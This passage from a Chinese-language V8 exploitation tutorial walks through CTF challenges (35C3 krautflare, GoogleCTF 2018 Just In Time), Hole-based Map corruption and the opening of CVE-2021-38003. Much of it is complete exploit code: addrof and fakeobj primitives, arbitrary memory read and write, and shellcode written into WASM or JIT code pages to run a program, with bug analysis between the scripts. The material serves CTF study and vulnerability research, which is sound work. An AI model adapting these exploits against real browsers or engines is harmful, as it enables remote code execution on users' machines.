    return d2u(trigger(evil_callback));
}

function address_of2(obj) {
    let a = [.1];

    function trigger(callback) {
        // Generate first MapCheck
        a[0];
        // This callback could change the Map ...
        callback();
        // ... but this MapCheck will still be removed ¯\_(ツ)_/¯
        return a[0];
    }

    function evil_callback() {
        a[0] = obj;
    }

    for (var i = 0; i < 100000; i++) {
        trigger(() => { });
    }
    return d2u(trigger(evil_callback));
}

function fake_object(addr) {
    let a = [.1];

    function trigger(callback) {
        // Generate first MapCheck
        a[0];
        // This callback could change the Map ...
        callback();
        // ... but this MapCheck will still be removed ¯\_(ツ)_/¯
        a[0] = u2d(addr);
    }

    function evil_callback() {
        a[0] = {};
    }

    for (var i = 0; i < 100000; i++) {
        trigger(() => { });
    }

    trigger(evil_callback);

    return a[0];
}

ab = new ArrayBuffer(0x1000);

gc();
var fake_ab_mem = [
    u2d(0n),                    // Map
    u2d(0n),                    // Propertries
    u2d(0n),                    // Elements
    u2d(0x1000n),               // ByteLength
    u2d(0n),                    // BackingStore
    u2d(0n),                    // Map
    u2d(0x1900042317080808n),   // type
];
gc();

var fake_ab_addr = address_of1(fake_ab_mem) + 0x30n;
fake_ab_mem[0] = u2d(fake_ab_addr + 0x28n);
var fake_ab = fake_object(fake_ab_addr);
var dv = new DataView(fake_ab);

function arbitrary_address_read(address) {
    fake_ab_mem[4] = u2d(address);
    return dv.getBigUint64(0, true);
}

function arbitrary_address_write(address, value) {
    fake_ab_mem[4] = u2d(address);
    return dv.setBigUint64(0, value, true);
}
print("fake ab addr: "+hex(fake_ab_addr));


let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128,
    128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128,
    0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0,
    0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109,
    97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65,
    42, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
let f = wasm_mod.exports.main;

var rwx_mem_addr = arbitrary_address_read(address_of2(wasm_mod) - 1n + 0x88n);
print("[*] rwx mem addr: " + hex(rwx_mem_addr));

var shellcode = [
    0x636c6163782fb848n,
    0x73752fb848500000n,
    0x8948506e69622f72n,
    0x89485750c03148e7n,
    0x3ac0c748d23148e6n,
    0x4944b84850000030n,
    0x48503d59414c5053n,
    0x485250c03148e289n,
    0x00003bc0c748e289n,
    0x0000000000050f00n
]

for (let i = 0; i < shellcode.length; i++) {
    arbitrary_address_write(rwx_mem_addr + BigInt(i) * 8n, shellcode[i]);
}

f();

例题:35c3 krautflare

环境搭建

附件下载链接

git clone https://github.com/sroettger/35c3ctf_chals
mv 35c3ctf_chals/krautflare .
cd v8
git checkout dde25872f58951bb0148cf43d6a504ab2f280485
git apply ../../test/krautflare/attachments/revert-bugfix-880207.patch
gclient sync
tools/dev/gm.py x64.release

漏洞分析

题目主要 patch 了优化的 Typer 阶段:

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 60e7ed574a..8324dc06d7 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1491,6 +1491,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
     // Unary math functions.
     case BuiltinFunctionId::kMathAbs:
     case BuiltinFunctionId::kMathExp:
+    case BuiltinFunctionId::kMathExpm1:
       return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
     case BuiltinFunctionId::kMathAcos:
     case BuiltinFunctionId::kMathAcosh:
@@ -1500,7 +1501,6 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
     case BuiltinFunctionId::kMathAtanh:
     case BuiltinFunctionId::kMathCbrt:
     case BuiltinFunctionId::kMathCos:
-    case BuiltinFunctionId::kMathExpm1:
     case BuiltinFunctionId::kMathFround:
     case BuiltinFunctionId::kMathLog:
     case BuiltinFunctionId::kMathLog1p:

原本 Typer 阶段预测 kMathExpm1 的返回值类型是 Type::Number() ,经过 patch 之后现在变成了 Type::PlainNumber()Type::NaN()

src/compiler/types.h 中定义了各种数字类型的范围:

  ON    OS32     N31     U30     OU31    OU32     ON
______[_______[_______[_______[_______[_______[_______
    -2^31   -2^30     0      2^30    2^31    2^32
  • OtherNumber(ON): ( − ∞ , − 2 31 ) ∪ [ 2 32 , ∞ ) (−\infin,−2^{31})\cup [2^{32},\infin) (,231)[232,)
  • OtherSigned32(OS32) : [ − 2 31 , − 2 30 ) [−2^{31},−2^{30}) [231,230)
  • Negative31(N31): [ − 2 30 , 0 ) [−2^{30},0) [230,0)
  • Unsigned30(U30): [ 0 , 2 30 ) [0,2^{30}) [0,230)
  • OtherUnsigned31(OU31): [ 2 30 , 2 31 ) [2^{30},2^{31}) [230,231)
  • OtherUnsigned32(OU32): [ 2 31 , 2 32 ) [2^{31},2^{32}) [231,232)
  • Integral32: [ − 2 31 , 2 32 ) [−2^{31},2^{32}) [231,232)
  • PlainNumber:任何浮点数,不包括 − 0 −0 0
  • Number:任何浮点数,包括 − 0 −0 0 NaN \text{NaN} NaN
  • Numeric:任何浮点数,包括 − 0 −0 0 NaN \text{NaN} NaN 以及 BigInt \text{BigInt} BigInt

根据前面的分析,下面这段 js 代码中 console.log(foo(-0)) 应该输出 false 。然而实际运行的结果却是 true

function foo(x) {
    return Object.is(Math.expm1(x), -0);
}

foo(0);
% OptimizeFunctionOnNextCall(foo);
console.log(foo(-0));

分析优化过程发现 Math.expm1 被初始成 NumberExpm1 并且在 simplified lowering 被替换为 Float64Expm1 。这个函数的返回值为 Number 类型,因此可以返回 -0 。
在这里插入图片描述
为了避免出现上述情况,我们在向 foo 函数传入字符串类型参数,此时输出结果变为 false

function foo(x) {
    return Object.is(Math.expm1(x), -0);
}

foo(0);
% OptimizeFunctionOnNextCall(foo);
foo("0");
% OptimizeFunctionOnNextCall(foo);
console.log(foo(-0));

可以看到 typer 优化阶段后 Math.expm1 返回值类型被判断为 PlainNumberNaN ,与前面的 patch 内容相符。
在这里插入图片描述
这里可以看到 Object.is 被优化为 SameValue

// ES section #sec-object.is
Reduction JSCallReducer::ReduceObjectIs(Node* node) {
  DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
  CallParameters const& params = CallParametersOf(node->op());
  int const argc = static_cast<int>(params.arity() - 2);
  Node* lhs = (argc >= 1) ? NodeProperties::GetValueInput(node, 2)
                          : jsgraph()->UndefinedConstant();
  Node* rhs = (argc >= 2) ? NodeProperties::GetValueInput(node, 3)
                          : jsgraph()->UndefinedConstant();
  Node* value = graph()->NewNode(simplified()->SameValue(), lhs, rhs);
  ReplaceWithValue(node, value);
  return Replace(value);
}

搜索 JSCallReducer 发现这个优化位于 InliningPhase 阶段。

struct InliningPhase {
  void Run(PipelineData* data, Zone* temp_zone) {
    ...
    JSCallReducer call_reducer(&graph_reducer, data->jsgraph(), data->broker(),
                               data->info()->is_bailout_on_uninitialized()
                                   ? JSCallReducer::kBailoutOnUninitialized
                                   : JSCallReducer::kNoFlags,
                               data->dependencies());
    ...
  }
}

另外搜索 SameValue 发现存在如下优化:

Reduction TypedOptimization::ReduceSameValue(Node* node) {
  DCHECK_EQ(IrOpcode::kSameValue, node->opcode());
  Node* const lhs = NodeProperties::GetValueInput(node, 0);
  Node* const rhs = NodeProperties::GetValueInput(node, 1);
  Type const lhs_type = NodeProperties::GetType(lhs);
  Type const rhs_type = NodeProperties::GetType(rhs);
  if (lhs == rhs) {
    // SameValue(x,x) => #true
    return Replace(jsgraph()->TrueConstant());
  } else if (lhs_type.Is(Type::Unique()) && rhs_type.Is(Type::Unique())) {
    // SameValue(x:unique,y:unique) => ReferenceEqual(x,y)
    NodeProperties::ChangeOp(node, simplified()->ReferenceEqual());
    return Changed(node);
  } else if (lhs_type.Is(Type::String()) && rhs_type.Is(Type::String())) {
    // SameValue(x:string,y:string) => StringEqual(x,y)
    NodeProperties::ChangeOp(node, simplified()->StringEqual());
    return Changed(node);
  } else if (lhs_type.Is(Type::MinusZero())) {
    // SameValue(x:minus-zero,y) => ObjectIsMinusZero(y)
    node->RemoveInput(0);
    NodeProperties::ChangeOp(node, simplified()->ObjectIsMinusZero());
    return Changed(node);
  } else if (rhs_type.Is(Type::MinusZero())) {
    // SameValue(x,y:minus-zero) => ObjectIsMinusZero(x)
    node->RemoveInput(1);
    NodeProperties::ChangeOp(node, simplified()->ObjectIsMinusZero());
    return Changed(node);
  } else if (lhs_type.Is(Type::NaN())) {
    // SameValue(x:nan,y) => ObjectIsNaN(y)
    node->RemoveInput(0);
    NodeProperties::ChangeOp(node, simplified()->ObjectIsNaN());
    return Changed(node);
  } else if (rhs_type.Is(Type::NaN())) {
    // SameValue(x,y:nan) => ObjectIsNaN(x)
    node->RemoveInput(1);
    NodeProperties::ChangeOp(node, simplified()->ObjectIsNaN());
    return Changed(node);
  } else if (lhs_type.Is(Type::PlainNumber()) &&
             rhs_type.Is(Type::PlainNumber())) {
    // SameValue(x:plain-number,y:plain-number) => NumberEqual(x,y)
    NodeProperties::ChangeOp(node, simplified()->NumberEqual());
    return Changed(node);
  }
  return NoChange();
}

搜索 TypedOptimization 发现在 typed lowering 和 load elimination 阶段调用了该优化。

struct TypedLoweringPhase {
  static const char* phase_name() { return "typed lowering"; }

  void Run(PipelineData* data, Zone* temp_zone) {
    ...
    TypedOptimization typed_optimization(&graph_reducer, data->dependencies(),
                                         data->jsgraph(), data->broker());
    ...
  }
};

struct LoadEliminationPhase {
  static const char* phase_name() { return "load elimination"; }

  void Run(PipelineData* data, Zone* temp_zone) {
    ...
    TypedOptimization typed_optimization(&graph_reducer, data->dependencies(),
                                         data->jsgraph(), data->broker());
    ...
  }
};

foo 函数的第一次优化的 typed lowering 阶段 SameValue 被替换为 ObjectIsMinusZero
在这里插入图片描述
而在第二次优化时由于 Math.expm1 返回值一定不是 -0 因此 typed lowering 阶段 SameValue 被替换为 false
在这里插入图片描述
接下来我们尝试用 Object.is 的返回值来访问 JSArray

function foo(x) {
    let oob_array = [1.1, 2.2, 3.3, 4.4]
    let index = Object.is(Math.expm1(x), -0);
    index *= 1337;
    return oob_array[index];
}

foo(0);
% OptimizeFunctionOnNextCall(foo);
foo("0");
% OptimizeFunctionOnNextCall(foo);
console.log(foo(-0));

发现由于 v8 认为用 SameValue 返回值计算出的 index 总是为 0 因此在 simplified lowering 阶段将 CheckBound 优化掉了。
在这里插入图片描述
然而我们可以通过某种手段使得 Object.is 返回 true

function foo(x) {
    let aux = { mz: -0 };
    let index = Object.is(Math.expm1(x), aux.mz);
    let oob_array = [1.1, 2.2, 3.3, 4.4]
    index *= 1337;
    return oob_array[index];
}

foo(0);
% OptimizeFunctionOnNextCall(foo);
foo("0");
% OptimizeFunctionOnNextCall(foo);
console.log(foo(-0));

由于 -0 被放到一个 JSObject 的一个属性中,因此即使到了 load elimination 阶段依旧没有吧 SameValue 优化成 false
在这里插入图片描述
到了 escape analysis 阶段 LoadFieldJSObject 获取属性的操作被优化为立即数 -0 。
在这里插入图片描述
到了 simplified lowering 阶段,v8 根据 Math.expm1 返回值一定不是 -0 将后面的 CheckBounds 操作优化掉。
在这里插入图片描述
然而 Math.expm1 不会返回 -0 是 patch 上去的内容,实际上 Math.expm1 是可以返回 -0 ,至于前面的 Object.is 返回 false 是因为返回值被优化成立即数 false

因此可以越界访问数组 oob_array

漏洞利用

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

function shellcode() {
    return [
        1.930800574428816e-246,
        1.9710610293119303e-246,
        1.9580046981136086e-246,
        1.9533830734556562e-246,
        1.961642575273437e-246,
        1.9399842868403466e-246,
        1.9627709291878714e-246,
        1.9711826272864685e-246,
        1.9954775598492772e-246,
        2.000505685241573e-246,
        1.9535148279508375e-246,
        1.9895153917617124e-246,
        1.9539853963090317e-246,
        1.9479373016495106e-246,
        1.97118242283721e-246,
        1.95323825426926e-246,
        1.99113905582155e-246,
        1.9940808572858186e-246,
        1.9537941682504095e-246,
        1.930800151635891e-246,
        1.932214185322047e-246
    ];
}

for (let i = 0; i < 0x40000; i++) {
    shellcode();
}

var oob_array = [.1];

function trigger() {
    function foo(x) {
        let aux = { mz: -0 };
        let index = Object.is(Math.expm1(x), aux.mz);
        oob_array = [.1]
        index *= 4;
        oob_array[index] = 1;
    }
    for (let i = 0; i < 0x40000; i++) {
        foo(0);

    }
    for (let i = 0; i < 0x40000; i++) {
        foo("0");
    }
    foo(-0);
}

trigger();

var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];

var object_array_map = d2u(oob_array[15]);
var double_array_map = d2u(oob_array[22]);
console.log("[*] object array map: " + hex(object_array_map));
console.log("[*] double array map: " + hex(double_array_map));

function address_of(obj) {
    oob_array[15] = u2d(object_array_map);
    object_array[0] = obj;
    oob_array[15] = u2d(double_array_map);
    return d2u(object_array[0]);
}

function read(offset) {
    oob_array[31] = u2d((offset - 0x10n) | 1n);
    return d2u(rw_array[0]);
}

function write(offset, value) {
    oob_array[31] = u2d((offset - 0x10n) | 1n);
    rw_array[0] = u2d(value);
}

var shellcode_addr = address_of(shellcode) + 0x30n;
write(shellcode_addr, read(shellcode_addr) + 0x6en);

shellcode();

例题:GoogleCTF2018 Just In Time

环境搭建

附件下载链接

cd /path/to/v8
git checkout 7.0.276.3 
gclient sync 
patch -p1 < ./path/to/addition-reducer.patch 
tools/dev/gm.py x64.release

需要注意的是在 simplified lowering 阶段想要去掉 CheckBounds 检查的一个必要条件是 poisoning_level_ 等于 kDontPoison
在这里插入图片描述
搜索 poisoning_level_ 发现如下初始化代码:

SimplifiedLowering::SimplifiedLowering(JSGraph* jsgraph,
                                       JSHeapBroker* js_heap_broker, Zone* zone,
                                       SourcePositionTable* source_positions,
                                       NodeOriginTable* node_origins,
                                       PoisoningMitigationLevel poisoning_level)
    : jsgraph_(jsgraph),
      js_heap_broker_(js_heap_broker),
      zone_(zone),
      type_cache_(TypeCache::Get()),
      source_positions_(source_positions),
      node_origins_(node_origins),
      poisoning_level_(poisoning_level) {}

进一步搜索,发现 poisoning_level_ 是被 data->info()->GetPoisoningMitigationLevel() 初始化的。

struct SimplifiedLoweringPhase {
  static const char* phase_name() { return "simplified lowering"; }

  void Run(PipelineData* data, Zone* temp_zone) {
    SimplifiedLowering lowering(data->jsgraph(), data->js_heap_broker(),
                                temp_zone, data->source_positions(),
                                data->node_origins(),
                                data->info()->GetPoisoningMitigationLevel());
    lowering.LowerAllNodes();
  }
};

搜索 GetPoisoningMitigationLevel 发现如下相关函数:

  PoisoningMitigationLevel poisoning_level_ =
      PoisoningMitigationLevel::kDontPoison;
      
  void SetPoisoningMitigationLevel(PoisoningMitigationLevel poisoning_level) {
    poisoning_level_ = poisoning_level;
  }
  PoisoningMitigationLevel GetPoisoningMitigationLevel() const {
    return poisoning_level_;
  }

其中 poisoning_level_ 的初始化与 V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS 有关:

#ifdef DISABLE_UNTRUSTED_CODE_MITIGATIONS
#define V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS false
#else
#define V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS true
#endif
DEFINE_BOOL(untrusted_code_mitigations, V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS,
            "Enable mitigations for executing untrusted code")
DEFINE_BOOL(branch_load_poisoning, false, "Mask loads with branch conditions.")

  // Compute and set poisoning level.
  PoisoningMitigationLevel load_poisoning =
      PoisoningMitigationLevel::kDontPoison;
  if (FLAG_branch_load_poisoning) {
    load_poisoning = PoisoningMitigationLevel::kPoisonAll;
  } else if (FLAG_untrusted_code_mitigations) {
    load_poisoning = PoisoningMitigationLevel::kPoisonCriticalOnly;
  }
  compilation_info()->SetPoisoningMitigationLevel(load_poisoning);

因此需要将 #define V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS true 修改为 #define V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS false 才能触发 oob 。

漏洞分析

分析 patch 文件,发现在 type lowering 阶段添加了如下优化:

diff --git a/src/compiler/duplicate-addition-reducer.cc b/src/compiler/duplicate-addition-reducer.cc
new file mode 100644
index 0000000000..59e8437f3d
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.cc
@@ -0,0 +1,71 @@
+// Copyright 2018 Google LLC
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+#include "src/compiler/duplicate-addition-reducer.h"
+
+#include "src/compiler/common-operator.h"
+#include "src/compiler/graph.h"
+#include "src/compiler/node-properties.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph,
+                     CommonOperatorBuilder* common)
+    : AdvancedReducer(editor),
+      graph_(graph), common_(common) {}
+
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+  switch (node->opcode()) {
+    case IrOpcode::kNumberAdd:
+      return ReduceAddition(node);
+    default:
+      return NoChange();
+  }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+  DCHECK_EQ(node->op()->ControlInputCount(), 0);
+  DCHECK_EQ(node->op()->EffectInputCount(), 0);
+  DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+  Node* left = NodeProperties::GetValueInput(node, 0);
+  if (left->opcode() != node->opcode()) {
+    return NoChange();
+  }
+
+  Node* right = NodeProperties::GetValueInput(node, 1);
+  if (right->opcode() != IrOpcode::kNumberConstant) {
+    return NoChange();
+  }
+
+  Node* parent_left = NodeProperties::GetValueInput(left, 0);
+  Node* parent_right = NodeProperties::GetValueInput(left, 1);
+  if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+    return NoChange();
+  }
+
+  double const1 = OpParameter<double>(right->op());
+  double const2 = OpParameter<double>(parent_right->op());
+  Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+  NodeProperties::ReplaceValueInput(node, parent_left, 0);
+  NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+  return Changed(node);
+}
+
+}  // namespace compiler
+}  // namespace internal
+}  // namespace v8

这个优化实际就是常量折叠,例如 x + 1 + 2 可以被优化为 x + 3
在这里插入图片描述

浮点数中有一个上界 9007199254740992 ,当达到这个数时精度不能保证。例如 9007199254740991 + 1 = 9007199254740992 但是 9007199254740992 + 1 = 90071992547409929007199254740992 + 2 = 9007199254740994 。我们可以通过二分得到这个上界。

#include <bits/stdc++.h>

int main() {
    std::ios::sync_with_stdio(false);
    std::cin.tie(nullptr);

    uint64_t l = 0, r = std::numeric_limits<uint64_t>::max();

    while (l < r) {
        uint64_t m = (__int128(l) + r) / 2;

        if (double(m) == double(m) + 1) {
            r = m;
        } else {
            l = m + 1;
        }
    }

    assert(double(l) == double(l) + 1);

    std::cout << l << std::endl;

    return 0;
}

由于 type lowering 优化位于计算范围的 typer 之后并且位于优化 CheckBounds 的 simplified lowering 之前,因此可以通过上面的特性利用题目添加的优化为 simplified lowering 提供一个错误的范围使得 CheckBounds 被优化掉造成 oob 。

因此有如下 POC :
在这里插入图片描述
这里有几个需要注意的问题:

  • 需要有一个 x == 1 ? 9007199254740992 : 9007199254740988 条件分枝确保 9007199254740992 + 1 + 1 + 1 优化成 9007199254740992 + 3 而不是 9007199254740992
  • 9007199254740992 - n - 1 是为了确保加上后面的 n 个 + 1 不和 9007199254740992 加上后面的 n 个 + 1 相同,否则会和上面那个情况一样被优化成 9007199254740992

漏洞利用

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

function shellcode() {
    return [
        1.930800574428816e-246,
        1.9710610293119303e-246,
        1.9580046981136086e-246,
        1.9533830734556562e-246,
        1.961642575273437e-246,
        1.9399842868403466e-246,
        1.9627709291878714e-246,
        1.9711826272864685e-246,
        1.9954775598492772e-246,
        2.000505685241573e-246,
        1.9535148279508375e-246,
        1.9895153917617124e-246,
        1.9539853963090317e-246,
        1.9479373016495106e-246,
        1.97118242283721e-246,
        1.95323825426926e-246,
        1.99113905582155e-246,
        1.9940808572858186e-246,
        1.9537941682504095e-246,
        1.930800151635891e-246,
        1.932214185322047e-246
    ];
}

for (let i = 0; i < 0x40000; i++) {
    shellcode();
}

function trigger() {
    function foo(x) {
        let oob_array = [.1, .2];
        let t = (x == 1 ? 9007199254740992 : 9007199254740988) + 1 + 1 + 1;
        t -= 9007199254740991;
        oob_array[t] = 1;
        return oob_array;
    }

    for (let i = 0; i < 0x40000; i++) {
        foo(0);
    }
    return foo(1);
}

let oob_array = trigger();
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];

var object_array_map = d2u(oob_array[16]);
var double_array_map = d2u(oob_array[23]);
console.log("[*] object array map: " + hex(object_array_map));
console.log("[*] double array map: " + hex(double_array_map));


function address_of(obj) {
    oob_array[16] = u2d(object_array_map);
    object_array[0] = obj;
    oob_array[16] = u2d(double_array_map);
    return d2u(object_array[0]);
}

function read(offset) {
    oob_array[32] = u2d((offset - 0x10n) | 1n);
    return d2u(rw_array[0]);
}

function write(offset, value) {
    oob_array[32] = u2d((offset - 0x10n) | 1n);
    rw_array[0] = u2d(value);
}

var shellcode_addr = address_of(shellcode) + 0x30n;
write(shellcode_addr, read(shellcode_addr) + 0x6en);

shellcode();

Hole

利用方式

Hole 是 JS 内部的一种数据类型,用来标记不存在的元素,与 C++ 中的 nullptr 类似,不过这个数据类型通常是不会泄露至用户。

Hole 类型的漏洞利用是指由于内部数据结构 Hole 通过漏洞被暴露至用户层,因此可以根据 Hole 创建⼀个长度为 -1 的 JSMap 结构,导致越界读写,并造成 RCE。

根据前面对 JSMap 结构的分析可知,当一个元素被从 JSMap 删除的时候 JS 会将该元素对应的 Entrykeyvalue 修改为 Hole 。如果我们往 JSMap 中加入一个 keyHole 的元素就可以一直删除 keyHole 的元素。不过实际上由于 shrink 操作会清除 JSMap 中的 Hole 因此需要具体分析。

有如下示例(commit:4a03d61accede9dd0e3e6dc0456ff5a0e3f792b4):

var map = new Map();
let hole = % TheHole();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log(map.size); // -1

这里 map.set(1, 1) 的作用是为了确保两次 map.delete(hole) 后才出现 shrink 操作。之后的 map.delete(1) 使得 map.size 变为 -1 。

根据前面对 JSMap 结构的分析以及实际调试可知 JSMap 的关键结构如下图所示:
在这里插入图片描述
之后再次向 JSMap 中添加元素。由于 JSMap 中没有待添加元素的 key ,因此会在 elements 中写入新的 Entry 。而新的 Entry 的地址的计算方式是 &buckets + number_of_buckets + (new_number_of_elements + new_number_of_deleted) * 3(统一按照 buckets 元素大小计算) ,由于经过了 shrink 操作,这三个值分别为:

  • number_of_elements: -1
  • number_of_deleted: 0
  • number_of_buckets: 2
    occupancy = IntPtrAdd(new_number_of_elements, new_number_of_deleted);
 const TNode<IntPtrT> entry_start = IntPtrAdd(
      IntPtrMul(occupancy, IntPtrConstant(OrderedHashMap::kEntrySize)),
      number_of_buckets);
  UnsafeStoreFixedArrayElement(
      table, entry_start, key, UPDATE_WRITE_BARRIER,
      kTaggedSize * OrderedHashMap::HashTableStartIndex());
  UnsafeStoreFixedArrayElement(
      table, entry_start, value, UPDATE_WRITE_BARRIER,
      kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
                     OrderedHashMap::kValueOffset));
  UnsafeStoreFixedArrayElement(
      table, entry_start, bucket_entry,
      kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
                     OrderedHashMap::kChainOffset));

因此 Entry 起始地址等同于 &bucket[-1],会将 bucket count 覆盖,也就是说我们能够控制 number_of_buckets
在这里插入图片描述
当我们拥有控制 number_of_buckets 的能力时,由于新的 Entry 的地址的计算方式是 &buckets + number_of_buckets + new_number_of_elements + new_number_of_deleted ,因此我们可以溢出进行任意地址写。其中一个用法便是修改 JSArraylength 实现 OOB 。
在这里插入图片描述
之后的操作可以参考前面的沙箱逃逸。由于这个版本不容易泄露沙箱基地址,因此这里采用立即数写 shellcode 的方法。另外立即数写 shellcode 的 JIT 过程使得 Hole 的 JSMap 利用过程更加稳定。

另外需要注意的是 JSMapset 操作时如果 HashTable[ComputeUnseededHash(key) & (buckets - 1)] 不为 -1 ,则会在 HashTable[ComputeUnseededHash(key) & (buckets - 1)] 对应的单向链表中查找 key ,期间会检查链表中的 Entry 是否合法。为了避免出现这一情况,需要满足 HashTable[ComputeUnseededHash(key) & (buckets - 1)] 。调试发现原来的 buckets 范围内的值为 -1 因此只需要满足 ComputeUnseededHash(key) & (buckets - 1) = 0 并且 key 足够大(这里用 key 来覆盖 JsArraylength,否则会破坏 JsArray 的结构)。因此有如下爆破脚本。

#include <bits/stdc++.h>

uint32_t ComputeUnseededHash(uint32_t key) {
    uint32_t hash = key;
    hash = ~hash + (hash << 15);
    hash = hash ^ (hash >> 12);
    hash = hash + (hash << 2);
    hash = hash ^ (hash >> 4);
    hash = hash * 2057;
    hash = hash ^ (hash >> 16);
    return hash & 0x3fffffff;
}

int main() {
    uint32_t key = 0x300, buckets = 0x15;
    while ((ComputeUnseededHash(key) & (buckets - 1)) != 0) {
        key++;
    }
    printf("%x\n", key);
    return 0;
}

POC 如下:

// ./d8 --allow-natives-syntax poc.js
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}
function shellcode() {
    return [
        1.930800574428816e-246,
        1.9710610293119303e-246,
        1.9580046981136086e-246,
        1.9533830734556562e-246,
        1.961642575273437e-246,
        1.9399842868403466e-246,
        1.9627709291878714e-246,
        1.9711826272864685e-246,
        1.9954775598492772e-246,
        2.000505685241573e-246,
        1.9535148279508375e-246,
        1.9895153917617124e-246,
        1.9539853963090317e-246,
        1.9479373016495106e-246,
        1.97118242283721e-246,
        1.95323825426926e-246,
        1.99113905582155e-246,
        1.9940808572858186e-246,
        1.9537941682504095e-246,
        1.930800151635891e-246,
        1.932214185322047e-246
    ];
}

for (let i = 0; i < 0x40000; i++) {
    shellcode();
}

var map = new Map();
let hole = % TheHole();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log(map.size); // -1
map.set(0x15, -1);
var oob_array = [.1];
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
map.set(0x303, 0);

var object_array_map = d2u(oob_array[2]);
var double_array_map = d2u(oob_array[14]);
console.log("[*] object array map: " + hex(object_array_map >> 32n));
console.log("[*] double array map: " + hex(double_array_map & 0xFFFFFFFFn));

function offset_of(obj) {
    oob_array[2] = u2d(object_array_map);
    object_array[0] = obj;
    oob_array[2] = u2d(double_array_map << 32n);
    return d2u(object_array[0]) & 0xFFFFFFFFn;
}

function read(offset) {
    oob_array[22] = u2d(((offset - 8n) | 1n) | (d2u(oob_array[22]) << 32n));
    return d2u(rw_array[0]);
}

function write(offset, value) {
    oob_array[22] = u2d(((offset - 8n) | 1n) | (d2u(oob_array[22]) << 32n));
    rw_array[0] = u2d(value);
}

var code_offset = read(offset_of(shellcode) + 0x18n) & 0xFFFFFFFFn;
console.log("[*] code offset: " + hex(code_offset));

code_offset += 0x68n;
write(offset_of(shellcode) + 0x18n, code_offset);

shellcode();

CVE-2021-38003

附件下载链接 commit:4a03d61accede9dd0e3e6dc0456ff5a0e3f792b4
该漏洞是 JSON.stringify() 中存在触发溢出异常时没有设置 pending_exception 导致用户代码在 catch 异常时从 pending_exception 中取出默认填充值 Hole

void Isolate::clear_pending_exception() {
  DCHECK(!thread_local_top_.pending_exception_->IsException(this));
  thread_local_top_.pending_exception_ = ReadOnlyRoots(this).the_hole_value();
}

JSON.stringify() 方法是将一个 JavaScript 对象或值转换为 JSON 字符串,如果指定了一个 replacer 函数,则可以选择性地替换值,或者指定的 replacer 是数组,则可选择性地仅包含数组指定的属性。

该函数定义为 JSON.stringify(value[, replacer [, space]])

  • value
    将要序列化成 一个 JSON 字符串的值。

  • replacer (可选)
    如果该参数是一个函数,则在序列化过程中,被序列化的值的每个属性都会经过该函数的转换和处理;如果该参数是一个数组,则只有包含在这个数组中的属性名才会被序列化到最终的 JSON 字符串中;如果该参数为 null 或者未提供,则对象所有的属性都会被序列化。

  • space (可选)
    指定缩进用的空白字符串,用于美化输出(pretty-print);如果参数是个数字,它代表有多少的空格;上限为 10。该值若小于 1,则意味着没有空格;如果该参数为字符串(当字符串长度超过 10 个字母,取其前 10 个字母),该字符串将被作为空格;如果该参数没有提供(或者为 null),将没有空格。

该函数返回值一个表示给定值的 JSON 字符串。

